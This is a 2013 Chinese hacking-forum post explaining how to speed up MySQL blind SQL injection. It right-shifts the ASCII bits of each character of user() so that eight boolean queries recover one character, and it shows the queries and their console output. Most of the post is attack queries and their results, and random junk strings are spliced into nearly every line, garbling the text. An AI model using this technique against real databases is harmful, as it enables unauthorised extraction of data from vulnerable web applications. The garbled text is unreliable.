找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2050|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位: S" S/ L& ]7 r/ g  M2 }+ e

, [$ I: Z+ p; C% x! V: E% K6 B9 }
1 L. V' ?2 k* j  }7 q1 J
2 a: Z! X% ~8 M  I% b5 e3 E下面将以查询mysql数据库当中user()的第一位为例:
. v3 q8 {; s2 r1 \6 y
; j) W' l. \) V  Q# @' X; G " {, ?8 h) f" Y# a+ ~, Z. }0 F
1 s. n( b' R8 F2 `: M: a) }
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
6 |  E1 s8 I- X9 b' p+ ~
& y, j% J: {) H# u* J/ ~6 u " F3 u  M3 F3 V; F1 F& r' p# @

7 M. z% I+ s/ \) M首先执行如下sql语句:
; m2 ]" m3 D# q; v  t
( _& ]+ t) ?, [- l. @, P* a5 X
5 K; f9 L( t" [# h# x8 R, V- |$ F, H9 v) b0 Y% V/ X
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;( d: C6 L; J5 s0 [0 G3 m
& ^5 J7 D) g7 i/ P5 {
) E, u* t" l1 R- r0 l8 `" R
* k8 w  X( h5 H# ^- B; I
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的& l# T  h& u/ Z6 q# e

* s" @1 t3 G3 B5 T# J; R, D3 t
* e) d6 K) L( D* r, X
1 S' D, D6 \. \第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1( g/ p  j" n, J7 X) v8 i: H3 r

8 k6 s2 P0 a0 _( F: B$ r0 [ . w+ G, n2 I0 y' I
- k0 o; n$ V! z+ v' j
如果运算结果为1,说明第一位为0,不为1* t6 {( ^8 n6 x# x4 K

3 C/ e- h# v$ [6 R/ s+ X% [   k( E4 P1 g* ?6 {3 d4 ~& V# |+ L
/ p2 s5 o. ?8 F' B( A
+————————————–+
7 `6 a4 m  i# s% ?" D
- L" U; Z- x, y| (ascii((substr(user(),1,1))) >> 7)=0 |, C* A. S" ~# P$ U+ X; H/ v
7 p6 q1 o" N; U  M6 G7 }$ |
+————————————–+5 k& ^. |( q  d" t- \* E3 b, [% d
7 f1 \( m$ [5 F; K8 ^
| 1 |
& W3 ^2 r5 G& ^" e/ r4 n* T6 @9 h1 Y& D
+————————————–+9 v. F2 a. M' {# l3 H# T# ], I

6 d! T0 I0 g2 b, b3 S( d1 row in set (0.00 sec)4 ]' `* c+ g) c& o5 Y6 U
+ {: o  q% V: R1 z. q9 @8 T7 b
这样我们就确定这个8bit的ascii的第一位为0
" y/ p0 z1 G- a# p% s) I3 E. ?! v% c/ {* j& ]: p
3 M( [7 ]4 [$ ^) V
- n% Z1 L( C% [$ Z0 Y+ d
第二次我们来做6次右偏移来确定前两位& q% [, \2 T: p
7 ]( [) ?3 r1 Q6 \
8 r3 r6 u) u9 ]! U

& T! ?- P& h8 O4 S- o前两位可能是01或00,即依然可以与0做比较,6 F+ Y* p. U" @2 O: x9 c7 F- {
5 a" ?; r$ I, |5 W3 V
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;9 V2 [. L, T, Z. P

& P8 L( \3 g, A+————————————–+
% E4 G2 t' V2 q
6 @; ]! K; v' d- [% ^| (ascii((substr(user(),1,1))) >> 6)=0 |
- I! y3 u, R  r/ n5 h  i( h4 r7 R( q) }0 l" E
+————————————–+/ L( b; F4 n! y) a% g

! x: S8 b$ V0 ]' D! P2 M| 0 |' a: {1 C* v# h7 D8 U
- [) ]4 T, o# ~* a+ l
+————————————–+
* d: V' F, p& `6 Y4 h6 e2 G4 K+ l% w9 L8 o
( ?( A# A2 _" b9 @" v2 X1 row in set (0.00 sec)' W/ k& L  u4 g/ i1 x. f  w8 \

1 Q4 r/ i4 i  x9 [1 Q- g * C: |) I8 |2 T. _: w1 E

6 u; C! h1 b8 i/ `0 `% v4 [# O  O结果为0,即第二位为1! e! v1 x# i7 \/ R' H& U

4 H) a! v7 Y' h1 F1 C6 u* A' ?* t 6 {3 t7 J! T# n5 z, N# v" O# G9 A
  l& P' p, \7 r, ~; {4 n
开始猜测前三位为010或011
# L1 R) X* r3 C
9 G0 y# K: S% ~1 R
9 T$ x4 T* I+ l8 G7 h3 D4 {6 q8 ^7 `- \4 g. F
让我们看看010和011的ascii码是多少1 o/ [. D& |, u. O- O6 ~
: o. W7 r. ?0 d  v! I( [& D

" Z& B( d; m% X) Y! ?
! k, @5 W' x. E分别查询select b’011′ select b’010′
, ~3 p8 n+ ]2 _$ B2 g- s
7 f( w, P( t4 _3 G; F 8 t: q$ }' p+ K

$ x& W5 i! u& `) u获得结果 010 = 2 011 = 3
5 O8 h4 }6 P6 {0 d( t& S# K4 E' _1 `3 [( V9 O! M5 L
) e, p8 ]- R( [/ g6 L
" Z2 P& ]9 ~5 i1 _
执行如下sql:
* y5 }# [* `; S$ O( e; V2 [3 F
  l$ O+ T1 M9 R4 x & ^2 \& E# j/ h: b8 g
1 O( z' A$ [0 o$ x1 ]+ L, F" S: d1 j' [
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
* H$ `; E7 ~$ c: h1 Z  w) `: g: \. ?5 S9 J
+————————————–+) `+ ]% [0 s: j2 p. k

4 }2 ]" ?0 X! Y+ W3 e4 a6 {| (ascii((substr(user(),1,1))) >> 5)=2 |
1 P+ R7 U( I' k0 s$ _- I( H9 V& Y) f! e; {" U( q
+————————————–+
4 y: Y5 U( d# B. G" H' C
/ _9 K& Y% J  w# ~2 H& b- t| 0 |, \  _5 e4 b0 |

  Z* P- U! n3 {. K, {, J1 W! [- g7 P+————————————–+
$ I# y  r( J+ O. n/ Q! I6 x+ [. S& l
即前三位不为010,而是011
: j& {1 _0 C$ C0 i1 D0 f4 [
+ p9 |6 C: x  s4 [) O) Z
* \( S" E7 [1 h, K: H; b/ h. k) Z* l$ H: N! `
直到获得最后一位
* \. d% s* |9 D8 {9 S, N$ L9 G/ v3 |) ^* t' v4 _  E

) E# T+ u. K1 d4 I& a* H+ j
4 t& {- ]; A  V9 Q最终结果为:01110010
- i: \: w: |: X3 B) ~2 [0 O- c; E
* X5 {  |. Z3 `6 J # ~5 X; V; [  a
3 Y7 t" F: ^) q8 w! m* V
转换一下:. [: k8 _. a6 \: o. K! ?
1 N' c$ a3 |4 `  ]1 u

0 E( ?  J" z) P9 j0 m8 k3 Q7 L$ n" t# m$ ^7 v- |1 e$ ]( h: l# ^6 O
select b’01110010′
1 J, s; _' {$ ?  i; j5 B) H0 P! s6 n! E

/ ~0 n) Z0 w" w1 s5 t
- E1 E4 B: p* e查询结果& N: l/ M- I  E" v- Y% |

7 _8 ]9 @$ y2 |$ D ! v$ |  d: L6 R' b0 Z+ A

; K; \3 u. H  n; X! w. \+————-+  k4 p( F7 T7 J9 b) f

9 a  u5 R1 z* M6 ~| b’01110010′ |
+ o( d6 U3 X' r% W' o
% {2 {& a3 }$ Z; u! ?# z* q+————-+
' h$ S; L1 ~& o; m. _  Q: W. \
* M& ?, J8 j: t' K- s| r |/ c1 \9 k8 J/ Y1 e
- L8 W  f/ }$ x  n. }
+————-+
4 n! R3 G5 v9 M: l7 X$ \6 r6 n- V3 h6 W. C* U5 i
1 row in set (0.00 sec)
$ j- n' i% g: R6 M' P$ L, C4 S1 A& D

1 E8 R8 }3 X1 Y8 \; J$ @; k- N
, X7 |. V- N4 W( I2 B( k这样我们就获得了user()的第一位.其它位依此类推
( ^" G7 g) r# r9 d- C* q' j' o3 R& x; S$ W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表